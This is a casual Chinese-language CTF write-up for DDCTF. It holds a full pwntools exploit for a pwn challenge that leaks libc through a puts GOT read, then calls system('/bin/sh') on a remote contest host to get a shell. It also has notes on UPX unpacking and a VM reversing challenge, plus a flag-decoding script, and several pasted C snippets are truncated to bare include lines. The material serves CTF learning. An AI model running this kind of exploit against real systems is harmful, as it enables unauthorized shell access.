这个ddctf 我就第一天玩了 在晚上 0点我把re 1 2 搞定就没有完了
然后 比赛结束 有个学长问我做的如何了。。。。然后他和我说 题型 就是vm 还有 迷宫 然后 让我去看看re3 是vm
然后我就搞了一波
先说pwn吧
直接粘上我志琦哥的代码。。。。。
#coding:utf-8
from pwn import *
context.log_level='debug'
#io=process('./xpwn')
libc=ELF('./libc.so.6')
io=remote('116.85.48.105',5005)
elf=ELF('./xpwn')
io.recvuntil('Enter username: ')
io.sendline('a'*0x27)
io.recvuntil('Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n')
main_ebp=u32(io.recv(4))
log.success('main_ebp:'+hex(main_ebp))
io.recvuntil('password: ')
io.sendline('-1')
io.recvuntil('): ')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main_addr=0x08048669
pay='a'*68+p32(main_ebp+0x18)+p32(0)+p32(main_ebp-0x10)+'a'*0x10+p32(puts_plt)+p32(main_addr)+p32(puts_got)
#gdb.attach(io)
io.sendline(pay)
io.recvuntil('All done, bye!\n')
puts_addr=u32(io.recv()[:4])
libc_puts_addr=libc.symbols['puts']
libc_system_addr=libc.symbols['system']
libc_bin_sh_addr=0x15902b
libc_base=puts_addr-libc_puts_addr
system_addr=libc_base+libc_system_addr
bin_sh_addr=libc_base+libc_bin_sh_addr
#sh_addr=0x0804A050
log.success('puts_addr:'+hex(puts_addr))
log.success('libc_base:'+hex(libc_base))
log.success('system_addr:'+hex(system_addr))
log.success('bin_sh_addr:'+hex(bin_sh_addr))
#log.success('sh_addr:'+hex(sh_addr))
io.sendline('a'*0x27)
io.recvuntil('password: ')
io.sendline('-1')
io.recvuntil('): ')
pay='a'*68+p32(main_ebp+0x28)+p32(0)+p32(main_ebp)+'a'*0x10+p32(system_addr)+p32(0)+p32(bin_sh_addr)
io.send(pay)
io.interactive()
这个题 第一点就是 要输入负数 要不然 我们输入的 就不行。。
然后 第二点就是 栈里面会有 pop ecx pop 什么来着。。。 我的题目找不到了 233333
然后 我们这里 我说的地方就是特殊到这个地方。。。算是 另类的canary吧
我们把这里溢出就行
re 1 2 都是壳+基址随机化 可以用工具把随机化去掉 然后就可以 运行了
然后 re 1
这个题就是 upx 壳 脱壳直接ida 看就行 然后如果想 用upx壳 运行的话 需要将地址随机化去掉 然后 去脱壳
od 手动寻找 输入表
然后
转存就可以成功运行
因为我这里 没有题 所以直接 粘代码吧
#include
#include
#include
#include
#include
#include
re2 也是一个弱壳 脱掉后 听别人说 是 base64?? 异或0x76的 我是暴力跑的
#include
#include
#include
#include
#include
#include
re3 的话 其实还是比较恶心的 不过这个题 也是给了我一个警示 就是 必须先看 不过这个题 我的样本还有 可以截图
看到这我就很头大 这是啥 呀 我死了 完蛋 然后继续往下看的时候
*(a1 + 24) 代表 vm 虚拟指令的地址 然后 循环 碰到 0XF3 就停止
这里 的分支 就没有什么好说的了 就取出vm的值 然后如果等于 我们上上上的值 如果等于的话 那就是 偏移后的值
额~~ 打个比方
然后 其实有几个call 我是没有看懂的 后来我想了想
直接先看 vm的指令
有没有发现什么特点 我在这里 发现就那么多指令 而且还是循环式的 来吧 我们分析一下
先F0 看一下a40
那么 他是取出(*(a1 + 24) + 2LL)的值 然后看 *(*(a1 + 24) + 1LL) 然后看复制给谁 我们会发现。。。F0后面都是0x10.
我们直接把F0后面的2个数是 等于 *a 然后f0后面的值 会发现都是 0XF8
我们去看
这里是改变了 *a值 然后 我们先记下这里 继续看 下面的vm 都是0XF2 哇 在这儿还真的是感谢ddct的出题人 要不然 不是有规律迭代的话 估计还要模拟跑一边 还是需要跑的。。
然后
这里 哇 这是啥?? 这是啥???/
不要激动 想一下 这个题 怎么解决 0.。。qword_100003F58是不是有点眼熟
哈哈哈 知道了吧 a2传进的 就是我们输入的地方 那么 我们就可以解释了。。比较*a==input
所以我们 就可以 退出算法了。。。 只需要取出0XF0 后面的第二个数 然后和上面那个搞一下就行
这个是脚本
#include
#include
#include
#include
using namespace std;
int data[50]={0x66,0x63,0x6a,0x6a,0x6d,0x57,0x6d,0x73,0x45,0x6d,0x72,0x52,0x66,0x63,0x44,0x6a,0x79,0x65};
int main()
{
printf("DDCTF{");
for(int i=0;i<18;i++)
{
if(data[i]>='A'&&data[i]<='Z')
{
printf("%c",(2+data[i]-'A')%26+'A');
}
else
{
printf("%c",(2+data[i]-'a')%26+'a');
}
}
printf("}\n");
return 0;
}
嗯 这题比上一年友善多了 。。。。。其它题不看了。。狗命重要。。。